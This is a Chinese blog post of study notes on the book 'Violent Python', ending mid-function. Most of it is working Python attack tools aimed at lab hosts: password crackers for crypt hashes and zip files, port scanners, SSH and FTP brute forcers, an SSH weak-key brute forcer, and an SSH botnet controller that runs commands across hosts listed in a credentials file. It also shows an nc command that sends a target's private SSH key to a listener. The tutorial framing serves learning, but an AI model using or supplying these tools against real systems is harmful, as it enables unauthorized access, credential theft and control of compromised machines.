1. 程式人生 > >關於《Python絕技:運用Python成為頂級黑客》的學習筆記

關於《Python絕技:運用Python成為頂級黑客》的學習筆記

本篇文章主要把《Python絕技:運用Python成為頂級黑客》中的程式碼敲一遍,學學Python安全相關的程式設計與思路,然後根據具體的情況修改一下程式碼。

第一章——入門

1、準備開發環境

安裝第三方庫:

安裝Python-nmap包:

wget http://xael.org/norman/python/python-nmap/pythonnmap-0.2.4.tar.gz-On map.tar.gz

tar -xzf nmap.tar.gz

cd python-nmap-0.2.4/

python setup.py install

當然可以使用easy_install模組實現更簡便的安裝:easy_install python-nmap

安裝其他:easy_install pyPdf python-nmap pygeoip mechanize BeautifulSoup4

其他幾個無法用easy_install命令安裝的與藍芽有關的庫:apt-get install python-bluez bluetooth python-obexftp

Python解釋與Python互動:

簡單地說,Python解釋是通過呼叫Python直譯器執行py指令碼,而Python互動則是通過在命令列輸入python實現互動。

2、Python語言

變數

Python中的字串、整形數、列表、布林值以及詞典。


字串

四個方法:upper()大寫輸出、lower()小寫輸出、replace()替換、find()查詢


List(列表)

append()方法向列表新增元素、index()返回元素的索引、remove()刪除元素、sort()排序、len()返回列表長度


詞典

keys()返回詞典中所有鍵的列表、items()返回詞典中所有項的完整資訊的列表


網路

使用socket模組,connect()方法建立與指定IP和埠的網路連線;revc(1024)方法將讀取套接字中接下來的1024B資料


條件選擇語句

if 條件一:
語句一
elif 條件二:
語句二
else:
語句三

異常處理

try/except語句進行異常處理,可以將異常儲存到變數e中以便打印出來,同時還要呼叫str()將e轉換成一個字串



函式

通過def()關鍵字定義,示例中定義掃描FTP banner資訊的函式:

#!/usr/bin/python
#coding=utf-8
import socket

def retBanner(ip,port):
	try:
		socket.setdefaulttimeout(2)
		s = socket.socket()
		s.connect((ip,port))
		banner = s.recv(1024)
		return banner
	except:
		return

def checkVulns(banner):
	if 'vsFTPd' in banner:
		print '[+] vsFTPd is vulnerable.'
	elif 'FreeFloat Ftp Server' in banner:
		print '[+] FreeFloat Ftp Server is vulnerable.'
	else:
		print '[-] FTP Server is not vulnerable.'
	return

def main():
	ips = ['10.10.10.128','10.10.10.160']
	port = 21
	banner1 = retBanner(ips[0],port)
	if banner1:
		print '[+] ' + ips[0] + ": " + banner1.strip('\n')
		checkVulns(banner1)
	banner2 = retBanner(ips[1],port)
	if banner2:
		print '[+] ' + ips[1] + ": " + banner2.strip('\n')
		checkVulns(banner2)

if __name__ == '__main__':
	main()


迭代

for語句
#!/usr/bin/python
#coding=utf-8
import socket

def retBanner(ip,port):
	try:
		socket.setdefaulttimeout(2)
		s = socket.socket()
		s.connect((ip,port))
		banner = s.recv(1024)
		return banner
	except:
		return

def checkVulns(banner):
	if 'vsFTPd' in banner:
		print '[+] vsFTPd is vulnerable.'
	elif 'FreeFloat Ftp Server' in banner:
		print '[+] FreeFloat Ftp Server is vulnerable.'
	else:
		print '[-] FTP Server is not vulnerable.'
	return

def main():
	portList = [21,22,25,80,110,443]
	ip = '10.10.10.128'
	for port in portList:
		banner = retBanner(ip,port)
		if banner:
			print '[+] ' + ip + ':' + str(port) + '--' + banner
			if port == 21:
				checkVulns(banner)

if __name__ == '__main__':
	main()


檔案輸入/輸出

open()開啟檔案,r只讀,r+讀寫,w新建(會覆蓋原有檔案),a追加,b二進位制檔案

同一目錄中:


不同目錄中:

從當前目錄開始往下查詢,前面加上.號


或者是絕對路徑則不用加.號表示從當前目錄開始


sys模組

sys.argv列表中含有所有的命令列引數,sys.argv[0]為Python指令碼的名稱,其餘的都是命令列引數

OS模組

os.path.isfile()檢查該檔案是否存在

os.access()判斷當前使用者是否有許可權讀取該檔案

#!/usr/bin/python
#coding=utf-8
import sys
import os
if len(sys.argv) == 2:
	filename = sys.argv[1]
	if not os.path.isfile(filename):
		print '[-] ' + filename + ' does not exit.'
		exit(0)
	if not os.access(filename,os.R_OK):
		print '[-] ' + filename + ' access denied.'
		exit(0)
	print '[+] Reading From: ' + filename


整合

將上述各個模組整合起來,實現對目標主機的埠及其banner資訊的掃描:

#!/usr/bin/python
#coding=utf-8
import socket
import sys
import os

def retBanner(ip,port):
	try:
		socket.setdefaulttimeout(2)
		s = socket.socket()
		s.connect((ip,port))
		banner = s.recv(1024)
		return banner
	except:
		return

def checkVulns(banner,filename):
	f = open(filename, 'r')
	for line in f.readlines():
		if line.strip('\n') in banner:
			print '[+] Server is vulnerable: ' + banner.strip('\n')

def main():

	if len(sys.argv) == 2:

		filename = sys.argv[1]
		if not os.path.isfile(filename):
			print '[-] ' + filename + ' does not exit.'
			exit(0)

		if not os.access(filename,os.R_OK):
			print '[-] ' + filename + ' access denied.'
			exit(0)

		print '[+] Reading From: ' + filename
	else:
		print '[-] Usage: ' + str(sys.argv[0]) + ' <vuln filename>'
		exit(0)

	portList = [21,22,25,80,110,443]
	ip = '10.10.10.128'
	for port in portList:
		banner = retBanner(ip,port)
		if banner:
			print '[+] ' + ip + ':' + str(port) + '--' + banner
			if port == 21:
				checkVulns(banner,filename)

if __name__ == '__main__':
	main()

執行結果:


3、第一個Python程式

第一個程式:Unix口令破解機

這段程式碼通過分別讀取兩個檔案,一個為加密口令檔案,另一個為用於猜測的字典檔案。在testPass()函式中讀取字典檔案,並通過crypt.crypt()進行加密,其中需要一個明文密碼以及兩個位元組的鹽,然後再用加密後的資訊和加密口令進行比較檢視是否相等即可。

先看crypt的示例:


可以看到鹽是新增在密文的前兩位的,所以將加密口令的前兩位提取出來為salt即可。

#!/usr/bin/python
#coding=utf-8
import crypt

def testPass(cryptPass):
	salt = cryptPass[0:2]

	dictFile = open('dictionary.txt','r')

	for word in dictFile.readlines():
		word = word.strip('\n')
		cryptWord = crypt.crypt(word,salt)
		if cryptWord == cryptPass:
			print '[+] Found Password: ' + word + "\n"
			return
	print '[-] Password not Found.\n'
	return

def main():
	passFile = open('passwords.txt')
	for line in passFile.readlines():
		if ":" in line:
			user = line.split(':')[0]
			cryptPass = line.split(':')[1].strip(' ')
			print '[*] Cracking Password For : ' + user
			testPass(cryptPass)

if __name__ == '__main__':
	main()

執行結果:


在現代的類Unix系統中在/etc/shadow檔案中儲存了口令的hash,但是更多的是使用SHA-512等更安全的hash演算法,如:


在Python中的hashlib庫可以找到SHA-512的函式,這樣就可以進一步升級指令碼進行口令破解。

第二個程式:一個Zip檔案口令破解機

主要使用zipfile庫的extractall()方法,其中pwd引數指定密碼
#!/usr/bin/python
#coding=utf-8
import zipfile
import optparse
from threading import Thread

def extractFile(zFile,password):
	try:
		zFile.extractall(pwd=password)
		print '[+] Fonud Password : ' + password + '\n'
	except:
		pass

def main():

	parser = optparse.OptionParser("[*] Usage: ./unzip.py -f <zipfile> -d <dictionary>")
	parser.add_option('-f',dest='zname',type='string',help='specify zip file')
	parser.add_option('-d',dest='dname',type='string',help='specify dictionary file')
	(options,args) = parser.parse_args()
	if (options.zname == None) | (options.dname == None):
		print parser.usage
		exit(0)

	zFile = zipfile.ZipFile(options.zname)
	passFile = open(options.dname)
	for line in passFile.readlines():
		line = line.strip('\n')
		t = Thread(target=extractFile,args=(zFile,line))
		t.start()

if __name__ == '__main__':
	main()

程式碼中匯入了optparse庫解析命令列引數,呼叫OptionParser()生成一個引數解析器類的示例,parser.add_option()指定具體解析哪些命令列引數,usage輸出的是引數的幫助資訊;同時也採用了多執行緒的方式提高破解速率。

執行結果:


第二章——用Python進行滲透測試

1、編寫一個埠掃描器

TCP全連線掃描、抓取應用的Banner

#!/usr/bin/python
#coding=utf-8
import optparse
import socket
from socket import *

def connScan(tgtHost,tgtPort):
	try:
		connSkt = socket(AF_INET,SOCK_STREAM)
		connSkt.connect((tgtHost,tgtPort))
		connSkt.send('ViolentPython\r\n')
		result = connSkt.recv(100)
		print '[+] %d/tcp open'%tgtPort
		print '[+] ' + str(result)
		connSkt.close()
	except:
		print '[-] %d/tcp closed'%tgtPort

def portScan(tgtHost,tgtPorts):
	try:
		tgtIP = gethostbyname(tgtHost)
	except:
		print "[-] Cannot resolve '%s' : Unknown host"%tgtHost
		return

	try:
		tgtName = gethostbyaddr(tgtIP)
		print '\n[+] Scan Results for: ' + tgtName[0]
	except:
		print '\n[+] Scan Results for: ' + tgtIP

	setdefaulttimeout(1)

	for tgtPort in tgtPorts:
		print 'Scanning port' + tgtPort
		connScan(tgtHost,int(tgtPort))

def main():
	parser = optparse.OptionParser("[*] Usage : ./portscanner.py -H <target host> -p <target port>")
	parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')
	parser.add_option('-p',dest='tgtPort',type='string',help='specify target port[s]')
	(options,args) = parser.parse_args()
	tgtHost = options.tgtHost
	tgtPorts = str(options.tgtPort).split(',')
	if (tgtHost == None) | (tgtPorts[0] == None):
		print parser.usage
		exit(0)
	portScan(tgtHost,tgtPorts)

if __name__ == '__main__':
	main()

這段程式碼實現了命令列引數輸入,需要使用者輸入主機IP和掃描的埠號,其中多個埠號之間可以用,號分割開;若引數輸入不為空時(注意檢測埠引數列表不為空即檢測至少存在第一個值不為空即可)則呼叫函式進行埠掃描;在portScan()函式中先嚐試呼叫gethostbyname()來從主機名獲取IP,若獲取不了則解析IP失敗程式結束,若成功則繼續嘗試呼叫gethostbyaddr()從IP獲取主機名相關資訊,若獲取成功則輸出列表的第一項主機名否則直接輸出IP,接著遍歷埠呼叫connScan()函式進行埠掃描;在connScan()函式中,socket方法中有兩個引數AF_INET和SOCK_STREAM,分別表示使用IPv4地址和TCP流,這兩個引數是預設的,在上一章的程式碼中沒有新增但是預設是這兩個引數,其餘的程式碼和之前的差不多了。

注意一個小問題就是,設定命令列引數的時候,是已經預設添加了-h和--help引數來提示引數資訊的,如果在host引數使用-h的話就會出現錯誤,因而要改為用大寫的H即書上的“-H”即可。

執行結果:


執行緒掃描

將上一小節的程式碼修改一下,新增執行緒實現,同時為了讓一個函式獲得完整的螢幕控制權,這裡使用一個訊號量semaphore,它能夠阻止其他執行緒執行而避免出現多執行緒同時輸出造成的亂碼和失序等情況。在列印輸出前帶呼叫screenLock.acquire()函式執行一個加鎖操作,若訊號量還沒被鎖定則執行緒有權繼續執行並輸出列印到螢幕上,若訊號量被鎖定則只能等待直到訊號量被釋放。

#!/usr/bin/python
#coding=utf-8
import optparse
import socket
from socket import *
from threading import *

#定義一個訊號量
screenLock = Semaphore(value=1)

def connScan(tgtHost,tgtPort):
	try:
		connSkt = socket(AF_INET,SOCK_STREAM)
		connSkt.connect((tgtHost,tgtPort))
		connSkt.send('ViolentPython\r\n')
		result = connSkt.recv(100)

		#執行一個加鎖操作
		screenLock.acquire()

		print '[+] %d/tcp open'%tgtPort
		print '[+] ' + str(result)
	except:
		#執行一個加鎖操作
		screenLock.acquire()
		print '[-] %d/tcp closed'%tgtPort
	finally:
		#執行釋放鎖的操作,同時將socket的連線在其後關閉
		screenLock.release()
		connSkt.close()

def portScan(tgtHost,tgtPorts):
	try:
		tgtIP = gethostbyname(tgtHost)
	except:
		print "[-] Cannot resolve '%s' : Unknown host"%tgtHost
		return

	try:
		tgtName = gethostbyaddr(tgtIP)
		print '\n[+] Scan Results for: ' + tgtName[0]
	except:
		print '\n[+] Scan Results for: ' + tgtIP

	setdefaulttimeout(1)

	for tgtPort in tgtPorts:
		t = Thread(target=connScan,args=(tgtHost,int(tgtPort)))
		t.start()

def main():
	parser = optparse.OptionParser("[*] Usage : ./portscanner.py -H <target host> -p <target port>")
	parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')
	parser.add_option('-p',dest='tgtPort',type='string',help='specify target port[s]')
	(options,args) = parser.parse_args()
	tgtHost = options.tgtHost
	tgtPorts = str(options.tgtPort).split(',')
	if (tgtHost == None) | (tgtPorts[0] == None):
		print parser.usage
		exit(0)
	portScan(tgtHost,tgtPorts)

if __name__ == '__main__':
	main()

執行結果:


從結果可以看到,使用多執行緒之後埠的掃描並不是按輸入的順序進行的了,而是同時進行,但是因為有訊號量實現加鎖等操作所以輸出的結果並沒有出現亂碼等情況。

使用nmap埠掃描程式碼

如果在前面沒有下載該模組,則需要先到http://xael.org/pages/python-nmap-en.html中下載Python-Nmap

#!/usr/bin/python
#coding=utf-8
import nmap
import optparse

def nmapScan(tgtHost,tgtPort):
	#建立一個PortScanner()類物件
	nmScan = nmap.PortScanner()

	#呼叫PortScanner類的scan()函式,將目標和埠作為引數輸入並進行nmap掃描
	nmScan.scan(tgtHost,tgtPort)

	#輸出掃描結果中的狀態資訊
	state = nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
	print '[*] ' + tgtHost + " tcp/" + tgtPort + " " + state

def main():
	parser=optparse.OptionParser("[*] Usage : ./nmapScan.py -H <target host> -p <target port[s]>")
	parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')
	parser.add_option('-p',dest='tgtPorts',type='string',help='specify target port[s]')	
	(options,args)=parser.parse_args()
	tgtHost = options.tgtHost
	tgtPorts = str(options.tgtPorts).split(',')
	if (tgtHost == None) | (tgtPorts[0] == None):
		print parser.usage
		exit(0)
	for tgtPort in tgtPorts:
		nmapScan(tgtHost,tgtPort)

if __name__ == '__main__':	
	main()

執行結果:


2、用Python構建一個SSH僵屍網路

用Pexpect與SSH互動

若在前面第一章的時候沒有下載,則需要先下載Pexpect:https://pypi.python.org/pypi/pexpect/

Pexpect模組可以實現與程式互動、等待預期的螢幕輸出並據此作出不同的響應。

先進行正常的ssh連線測試:


模仿這個流程,程式碼如下:

#!/usr/bin/python
#coding=utf-8
import pexpect

#SSH連線成功時的命令列互動視窗中前面的提示字元的集合
PROMPT = ['# ','>>> ','> ','\$ ']

def send_command(child,cmd):
	#傳送一條命令
	child.sendline(cmd)

	#期望有命令列提示字元出現
	child.expect(PROMPT)

	#將之前的內容都輸出
	print child.before

def connect(user,host,password):
	#表示主機已使用一個新的公鑰的訊息
	ssh_newkey = 'Are you sure you want to continue connecting'
	connStr = 'ssh ' + user + '@' + host

	#為ssh命令生成一個spawn類的物件
	child = pexpect.spawn(connStr)

	#期望有ssh_newkey字元、提示輸入密碼的字元出現,否則超時
	ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: '])

	#匹配到超時TIMEOUT
	if ret == 0:
		print '[-] Error Connecting'
		return

	#匹配到ssh_newkey
	if ret == 1:
		#傳送yes迴應ssh_newkey並期望提示輸入密碼的字元出現
		child.sendline('yes')
		ret = child.expect([pexpect.TIMEOUT,'[P|p]assword: '])

	#匹配到超時TIMEOUT
	if ret == 0:
		print '[-] Error Connecting'
		return

	#傳送密碼
	child.sendline(password)
	child.expect(PROMPT)	
	return child

def main():
	host='10.10.10.128'
	user='msfadmin'
	password='msfadmin'
	child=connect(user,host,password)
	send_command(child,'uname -a')

if __name__ == '__main__':
	main()

這段程式碼沒有進行命令列引數的輸入以及沒有實現命令列互動。

執行結果:


書上提到了BackTrack中的執行,也來測試一下吧:

在BT5中生成ssh-key並啟動SSH服務:

sshd-generate

service ssh start

./sshScan.py


【個人修改的程式碼】

這段程式碼可以進一步改進一下,下面的是個人改進的程式碼,實現了引數化輸入以及命令列shell互動的形式:

#!/usr/bin/python
#coding=utf-8
import pexpect
from optparse import OptionParser

#SSH連線成功時的命令列互動視窗中的提示符的集合
PROMPT = ['# ','>>> ','> ','\$ ']

def send_command(child,cmd):
	#傳送一條命令
	child.sendline(cmd)

	#期望有命令列提示字元出現
	child.expect(PROMPT)

	#將之前的內容都輸出
	print child.before.split('\n')[1]

def connect(user,host,password):
	#表示主機已使用一個新的公鑰的訊息
	ssh_newkey = 'Are you sure you want to continue connecting'
	connStr = 'ssh ' + user + '@' + host

	#為ssh命令生成一個spawn類的物件
	child = pexpect.spawn(connStr)

	#期望有ssh_newkey字元、提示輸入密碼的字元出現,否則超時
	ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: '])

	#匹配到超時TIMEOUT
	if ret == 0:
		print '[-] Error Connecting'
		return

	#匹配到ssh_newkey
	if ret == 1:
		#傳送yes迴應ssh_newkey並期望提示輸入密碼的字元出現
		child.sendline('yes')
		ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: '])

	#匹配到超時TIMEOUT
	if ret == 0:
		print '[-] Error Connecting'
		return

	#傳送密碼
	child.sendline(password)
	child.expect(PROMPT)	
	return child

def main():
	parser = OptionParser("[*] Usage : ./sshCommand2.py -H <target host> -u <username> -p <password>")
	parser.add_option('-H',dest='host',type='string',help='specify target host')
	parser.add_option('-u',dest='username',type='string',help='target username')
	parser.add_option('-p',dest='password',type='string',help='target password')
	(options,args) = parser.parse_args()

	if (options.host == None) | (options.username == None) | (options.password == None):
		print parser.usage
		exit(0)

	child=connect(options.username,options.host,options.password)
	
	while True:
		command = raw_input('<SSH> ')
		send_command(child,command)

if __name__ == '__main__':
	main()

這樣就可以指定目標主機進行SSH連線並實現了SSH一樣的命令列互動體驗了:


用Pxssh暴力破解SSH密碼

pxssh 是 pexpect 中 spawn 類的子類,增加了login()、logout()和prompt()幾個方法,使用其可以輕鬆實現 ssh 連線,而不用自己呼叫相對複雜的 pexpect 的方法來實現。

prompt(self,timeout=20)方法用於匹配新提示符

使用pxssh替代上一小節的指令碼:

#!/usr/bin/python
#coding=utf-8
from pexpect import pxssh

def send_command(s,cmd):

	s.sendline(cmd)
	#匹配prompt(提示符)
	s.prompt()
	#將prompt前所有內容打印出
	print s.before

def connect(host,user,password):
	try:
		s = pxssh.pxssh()
		#利用pxssh類的login()方法進行ssh登入
		s.login(host,user,password)
		return s
	except:
		print '[-] Error Connecting'
		exit(0)

s = connect('10.10.10.128','msfadmin','msfadmin')
send_command(s,'uname -a')

一開始遇到一個問題,就是直接按書上的敲import pxssh會顯示出錯,但是明明已經安裝了這個檔案,檢視資料發現是pxssh是在pexpect包中的,所以將其改為from pexpect import pxssh就可以了。

執行結果:


接著繼續修改程式碼:

#!/usr/bin/python
#coding=utf-8
from pexpect import pxssh
import optparse
import time
from threading import *

maxConnections = 5
#定義一個有界訊號量BoundedSemaphore,在呼叫release()函式時會檢查增加的計數是否超過上限
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0

def connect(host,user,password,release):

	global Found
	global Fails

	try:
		s = pxssh.pxssh()
		#利用pxssh類的login()方法進行ssh登入
		s.login(host,user,password)
		print '[+] Password Found: ' + password
		Found = True
	except Exception, e:
		#SSH伺服器可能被大量的連線刷爆,等待一會再連線
		if 'read_nonblocking' in str(e):
			Fails += 1
			time.sleep(5)
			#遞迴呼叫的connect(),不可釋放鎖
			connect(host,user,password,False)
		#顯示pxssh命令提示符提取困難,等待一會再連線
		elif 'synchronize with original prompt' in str(e):
			time.sleep(1)
			#遞迴呼叫的connect(),不可釋放鎖
			connect(host,user,password,False)
	finally:
		if release:
			#釋放鎖
			connection_lock.release()

def main():
	parser = optparse.OptionParser('[*] Usage : ./sshBrute.py -H <target host> -u <username> -f <password file>')
	parser.add_option('-H',dest='host',type='string',help='specify target host')
	parser.add_option('-u',dest='username',type='string',help='target username')
	parser.add_option('-f',dest='file',type='string',help='specify password file')
	(options,args) = parser.parse_args()

	if (options.host == None) | (options.username == None) | (options.file == None):
		print parser.usage
		exit(0)

	host = options.host
	username = options.username
	file = options.file

	fn = open(file,'r')
	for line in fn.readlines():

		if Found:
			print '[*] Exiting: Password Found'
			exit(0)

		if Fails > 5:
			print '[!] Exiting: Too Many Socket Timeouts'
			exit(0)

		#加鎖
		connection_lock.acquire()

		#去掉換行符,其中Windows為'\r\n',Linux為'\n'
		password = line.strip('\r').strip('\n')
		print '[-] Testing: ' + str(password)

		#這裡不是遞迴呼叫的connect(),可以釋放鎖
		t = Thread(target=connect,args=(host,username,password,True))
		child = t.start()

if __name__ =='__main__':
	main()

Semaphore,是一種帶計數的執行緒同步機制,當呼叫release時,增加計算,當acquire時,減少計數,當計數為0時,自動阻塞,等待release被呼叫。其存在兩種Semaphore, 即Semaphore和BoundedSemaphore,都屬於threading庫。

Semaphore:  在呼叫release()函式時,不會檢查增加的計數是否超過上限(沒有上限,會一直上升)

BoundedSemaphore:在呼叫release()函式時,會檢查增加的計數是否超過上限,從而保證了使用的計數

執行結果:


利用SSH中的弱金鑰

使用金鑰登入ssh時,格式為:ssh [email protected] -i keyfile -o PasswordAuthentication=no

本來是要到這個網站中去下載ssh的私鑰壓縮包的:http://digitaloffense.net/tools/debianopenssl/

但是由於時間有點久已經沒有該站點可以下載了。

為了進行測試就到靶機上將該ssh的rsa檔案通過nc傳過來:

Kali先開啟nc監聽:nc -lp 4444 > id_rsa

然後靶機Metasploitable進入ssh的dsa目錄,將id_rsa檔案而不是id_rsa.:

cd .ssh

nc -nv 10.10.10.160 4444 -q 1 < id_rsa

下面這段指令碼主要是逐個使用指定目錄中生成的金鑰來嘗試進行連線。

#!/usr/bin/python
#coding=utf-8
import pexpect
import optparse
import os
from threading import *

maxConnections = 5
#定義一個有界訊號量BoundedSemaphore,在呼叫release()函式時會檢查增加的計數是否超過上限
connection_lock = BoundedSemaphore(value=maxConnections)
Stop = False
Fails = 0

def connect(host,user,keyfile,release):

	global Stop
	global Fails

	try:
		perm_denied = 'Permission denied'
		ssh_newkey = 'Are you sure you want to continue'
		conn_closed = 'Connection closed by remote host'
		opt = ' -o PasswordAuthentication=no'
		connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt
		child = pexpect.spawn(connStr)
		ret = child.expect([pexpect.TIMEOUT,perm_denied,ssh_newkey,conn_closed,'$','#', ])
		#匹配到ssh_newkey
		if ret == 2:
			print '[-] Adding Host to ~/.ssh/known_hosts'
			child.sendline('yes')
			connect(user, host, keyfile, False)
		#匹配到conn_closed
		elif ret == 3:
			print '[-] Connection Closed By Remote Host'
			Fails += 1
		#匹配到提示符'$','#',
		elif ret > 3:
			print '[+] Success. ' + str(keyfile)
			Stop = True
	finally:
		if release:
			#釋放鎖
			connection_lock.release()

def main():
	parser = optparse.OptionParser('[*] Usage : ./sshBrute.py -H <target host> -u <username> -d <directory>')
	parser.add_option('-H',dest='host',type='string',help='specify target host')
	parser.add_option('-u',dest='username',type='string',help='target username')
	parser.add_option('-d',dest='passDir',type='string',help='specify directory with keys')
	(options,args) = parser.parse_args()

	if (options.host == None) | (options.username == None) | (options.passDir == None):
		print parser.usage
		exit(0)

	host = options.host
	username = options.username
	passDir = options.passDir

	#os.listdir()返回指定目錄下的所有檔案和目錄名
	for filename in os.listdir(passDir):
		if Stop:
			print '[*] Exiting: Key Found.'
			exit(0)
		if Fails > 5:
			print '[!] Exiting: Too Many Connections Closed By Remote Host.'
			print '[!] Adjust number of simultaneous threads.'
			exit(0)
		#加鎖
		connection_lock.acquire()

		#連線目錄與檔名或目錄
		fullpath = os.path.join(passDir,filename)
		print '[-] Testing keyfile ' + str(fullpath)
		t = Thread(target=connect,args=(username,host,fullpath,True))
		child = t.start()

if __name__ =='__main__':
	main()

執行結果:


構建SSH僵屍網路

#!/usr/bin/python
#coding=utf-8
import optparse
from pexpect import pxssh

#定義一個客戶端的類
class Client(object):
	"""docstring for Client"""
	def __init__(self, host, user, password):
		self.host = host
		self.user = user
		self.password = password
		self.session = self.connect()

	def connect(self):
		try:
			s = pxssh.pxssh()
			s.login(self.host,self.user,self.password)
			return s
		except Exception, e:
			print e
			print '[-] Error Connecting'
		
	def send_command(self, cmd):
		self.session.sendline(cmd)
		self.session.prompt()
		return self.session.before

def botnetCommand(command):
	for client in botNet:
		output = client.send_command(command)
		print '[*] Output from ' + client.host
		print '[+] ' + output + '\n'

def addClient(host, user, password):
	client = Client(host,user,password)
	botNet.append(client)

botNet = []
addClient('10.10.10.128','msfadmin','msfadmin')
addClient('10.10.10.153','root','toor')
botnetCommand('uname -a')
botnetCommand('whoami')

這段程式碼主要定義一個客戶端的類實現ssh連線和傳送命令,然後再定義一個botNet陣列用於儲存僵屍網路中的所有主機,並定義兩個方法一個是新增殭屍主機的addClient()、 另一個為在殭屍主機中遍歷執行命令的botnetCommand()。

執行結果:


【個人修改的程式碼】

接下來是本人修改的程式碼,先是將殭屍主機的資訊都儲存在一個檔案中、以:號將三類資訊分割開,從而指令碼可以方便地通過讀取檔案中的殭屍主機資訊,同時指令碼也實現了批量命令列互動的形式,和之前修改的ssh命令列互動的形式差不多,只是每次輸入一條命令所有的殭屍主機都會去執行從而返回命令結果:

botnet.txt檔案:


botNet2.py:

#!/usr/bin/python
#coding=utf-8
import optparse
from pexpect import pxssh
import optparse

botNet=[]
#定義一個用於存放host的列表以便判斷當前host之前是否已經新增進botNet中了
hosts = []

#定義一個客戶端的類
class Client(object):
	"""docstring for Client"""
	def __init__(self, host, user, password):
		self.host = host
		self.user = user
		self.password = password
		self.session = self.connect()

	def connect(self):
		try:
			s = pxssh.pxssh()
			s.login(self.host,self.user,self.password)
			return s
		except Exception, e:
			print e
			print '[-] Error Connecting'

	def send_command(self, cmd):
		self.session.sendline(cmd)
		self.session.prompt()
		return self.session.before

def botnetCommand(cmd, k):
	for client in botNet:	
		output=client.send_command(cmd)
		#若k為True即最後一臺主機發起請求後就輸出,否則輸出會和之前的重複
		if k:
			print '[*] Output from '+client.host
			print '[+] '+output+'\n'

def addClient(host,user,password):
	if len(hosts) == 0:
		hosts.append(host)
		client=Client(host,user,password)
		botNet.append(client)
	else:
		t = True
		#遍歷檢視host是否存在hosts列表中,若不存在則進行新增操作
		for h in hosts:
			if h == host:
				t = False
		if t:
			hosts.append(host)
			client=Client(host,user,password)
			botNet.append(client)

def main():
	parser=optparse.OptionParser('Usage : ./botNet.py -f <botNet file>')
	parser.add_option('-f',dest='file',type='string',help='specify botNet file')
	(options,args)=parser.parse_args()
	file = options.file
	if file==None:
		print parser.usage
		exit(0)
	
	#計算檔案行數,不能和下面的f用同一個open()否則會出錯
	count = len(open(file,'r').readlines())

	while True:
		cmd=raw_input("<SSH> ")
		k = 0
		f = open(file,'r')
		for line in f.readlines():
			line = line.strip('\n')
			host = line.split(':')[0]
			user = line.split(':')[1]
			password = line.split(':')[2]

			k += 1

			#這裡需要判斷是否到最後一臺主機呼叫函式,因為命令的輸出結果會把前面的所有結果都輸出從而會出現重複輸出的情況
			if k < count:
				addClient(host,user,password)
				#不是最後一臺主機請求,則先不輸出命令結果
				botnetCommand(cmd,False)
			else:
				addClient(host,user,password)
				#最後一臺主機請求,則可以輸出命令結果
				botnetCommand(cmd,True)
	
if __name__ =='__main__':
	main()

這段修改的程式碼主要的處理問題是輸出的問題,在程式碼註釋中也說得差不多了,就這樣吧。

執行結果:


使用者可以將收集到的ssh殭屍主機都儲存在botnet.txt檔案中,這樣指令碼執行起來執行就會十分地方便、實現批量式的操作。

3、利用FTP與Web批量抓“肉機”

用Python構建匿名FTP掃描器

一些FTP伺服器提供匿名登入的功能,因為這有助於網站訪問軟體更新,這種情況下,使用者輸入使用者名稱“anonymous”並提交一個電子郵箱替代密碼即可登入。

下面的程式碼主要是使用ftplib模組的FTP()、login()和quit()方法實現:

#!/usr/bin/python
#coding=utf-8
import ftplib

def anonLogin(hostname):
	try:
		ftp = ftplib.FTP(hostname)
		ftp.login('anonymous','[email protected]')
		print '\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.'
		ftp.quit()
		return True
	except Exception, e:
		print '\n[-] ' + str(h1) + ' FTP Anonymous Logon Failed.'
		return False

hostname = '10.10.10.128'
anonLogin(hostname)

執行結果:


【個人修改的程式碼】

稍微修改了一下,實現命令列輸入互動:

#!/usr/bin/python
#coding=utf-8
import ftplib

def anonLogin(hostname):
	try:
		ftp=ftplib.FTP(hostname)
		ftp.login('anonymous','what')
		print '\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.'
		ftp.quit()
		return True
	except Exception,e:
		print '\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.'

def main():
	while True:
		hostname = raw_input("Please enter the hostname: ")
		anonLogin(hostname)
		print

if __name__ == '__main__':
	main()

執行結果:


使用Ftplib暴力破解FTP使用者口令

同樣是通過ftplib模組,結合讀取含有密碼的檔案來實現FTP使用者口令的破解:

#!/usr/bin/python
#coding=utf-8
import ftplib

def bruteLogin(hostname,passwdFile):
	pF = open(passwdFile,'r')
	for line in pF.readlines():
		username = line.split(':')[0]
		password = line.split(':')[1].strip('\r').strip('\n')
		print '[+] Trying: ' + username + '/' + password
		try:
			ftp = ftplib.FTP(hostname)
			ftp.login(username,password)
			print '\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password
			ftp.quit()
			return (username,password)
		except Exception, e:
			pass
	print '\n[-] Could not brubrute force FTP credentials.'
	return (None,None)

host = '10.10.10.128'
passwdFile = 'ftpBL.txt'
bruteLogin(host,passwdFile)

執行結果:


其中ftbBL.txt檔案:


【個人修改的程式碼】

小改一下:

#!/usr/bin/python
import ftplib

def bruteLogin(hostname,passwdFile):
	pF=open(passwdFile,'r')
	for line in pF.readlines():
		username=line.split(':')[0]
		password=line.split(':')[1].strip('\r').strip('\n')
		print '[+] Trying: '+username+"/"+password
		try:	
			ftp=ftplib.FTP(hostname)
			ftp.login(username,password)
			print '\n[*] '+str(hostname)+' FTP Logon Succeeded: '+username+"/"+password
			return (username,password)
		except Exception,e:
			pass
	print '\n[-] Could not brute force FTP credentials.'
	return (None,None)

def main():
	while True:
		h=raw_input("[*] Please enter the hostname: ")
		f=raw_input("[*] Please enter the filename: ")
		bruteLogin(h,f)
		print

if __name__ == '__main__':
	main()

執行結果:



在FTP伺服器上搜索網頁

有了FTP伺服器的登入口令之後,可以進行測試該伺服器是否提供Web服務,其中檢測通過nlst()列出的每個檔案的檔名是不是預設的Web頁面檔名,並把找到的所有預設的網頁都新增到retList陣列中:

#!/usr/bin/python
#coding=utf-8
import ftplib

def returnDefault(ftp):
	try:
		#nlst()方法獲取目錄下的檔案
		dirList = ftp.nlst()
	except:
		dirList = []
		print '[-] Could not list directory contents.'
